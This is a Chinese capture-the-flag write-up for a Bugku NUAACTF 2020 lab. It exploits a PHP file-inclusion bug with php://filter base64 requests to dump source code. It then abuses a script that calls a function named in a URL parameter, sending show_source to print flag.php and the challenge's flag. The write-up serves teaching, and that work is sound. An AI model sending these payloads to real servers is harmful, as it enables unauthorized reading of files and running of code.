Bugku NUAACTF 2020 command-injection

前置知识

网络安全 文件包含漏洞-CSDN博客

解题过程

打开靶场、进行信息收集

在源码中发现include文件,直接访问,自动添加了URL参数file

复制代码
/include.php?file=index

并且自动补齐了index参数,页面也跟初始页面相同,很明显是文件包含漏洞

直接尝试php伪协议读取下已知的源码,根据自动补齐的index参数,可以猜测后端是自动补齐.php,读取index.php:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=index

<?php
	print <<<EOT
	<html>
	<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	</head>
	<body>
	<!--include.php-->
	<img src="img.jpg"  alt="嘉木天下第一" />
	</body>
	</html>
EOT;
?>

读取include.php:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=include

<?php  error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
	if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
		echo "<p> error! </p>";
	} else {
		include($file.'.php');
		setcookie("tips","createfun.php");
	}
} else {
	header('Location:include.php?file=index');
}
?>

可以看到include.php过滤了敏感字符,我们无法直接读取flag

并且我们又看到另一个文件createfun.php,继续读取该文件:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=createfun

<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

分析源码,获取两个参数,一个作为函数名,一个作为函数参数,然后会执行函数。

需要注意这个函数有两个参数,后面被自动设置为空,这里很多函数可以用,这里采用show_source,显示flag.php文件内容,这里flag.php可以通过前面include文件得出,也可以扫文件得到:

复制代码
/createfun.php?func=show_source&arg=flag.php

<?php
$flag="nuaactf{php_IS_thE_best_language}";
?>

总结

一道基础的文件包含漏洞,包含了一些代码审计部分。

相关推荐
iknow1814 小时前
【Web安全】SSRF
安全·web安全
pandarking6 小时前
[CTF]攻防世界:love_math
android·web安全·网络安全
小痞同学6 小时前
【网络安全】二、常用网络安全管理工具
安全·web安全·网络安全
小痞同学6 小时前
【网络安全】一、虚拟局域网设置和应用
网络·安全·web安全·网络安全
lingggggaaaa6 小时前
C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值
c语言·c++·学习·安全·web安全·网络安全·免杀对抗
码农12138号6 小时前
Bugku 2023 HackINI Virtual Shop 和 2023 HackINI Virtual Shop 2
web安全·sqlite·sql注入
码农12138号6 小时前
网络安全 文件包含漏洞
web安全·文件包含漏洞
Suckerbin1 天前
Gaara: 1靶场渗透
安全·web安全·网络安全
是喵斯特ya1 天前
phpstudy+安全狗搭建安全靶场
安全·web安全